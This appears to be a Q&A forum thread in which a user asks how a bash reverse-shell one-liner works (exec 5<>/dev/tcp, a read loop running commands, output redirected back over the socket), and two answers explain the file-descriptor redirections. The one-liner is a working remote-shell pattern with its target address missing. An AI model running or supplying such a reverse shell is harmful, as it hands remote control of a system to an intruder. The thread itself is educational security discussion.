I am doing some security research and I was wondering how the following snippet works on Unix based OS's:

exec 5<>/dev/tcp/; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done

I am totally aware of what this code does (ie establish a reverse shell to over port 4444) but I don't understand what these sections are doing:

  • exec 5<>
  • cat <&5
  • 2>&5 >&5

And just in general how this how thing fits together to produce the shell that I see.

Could anyone help explain this or point me in the right direction to understanding this?



2 Answers 2


A quick rundown:

exec 5<> is opening a new file handle for both reading and writing and then naming it 5

cat <&5 is reading from that newly opened file handle

2>&5 >&5 is redirecting the output of both file handle 2 (stderr) and file handle 1 (stdout) to file handle 5. The 1 in this case is implied since a file handle number wasn't provided on the second redirection.


Some parts of your question are answered here


  1. This define new filedescriptor with number 5. BTW 0 is STDIN, 1 is STDOUT, 2 is STDERR filedescriptors
  2. Echo the information, which is received via TCP, IP, port 4444
  3. Send STDERR and STDOUT to filehandler 5 i.e network

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .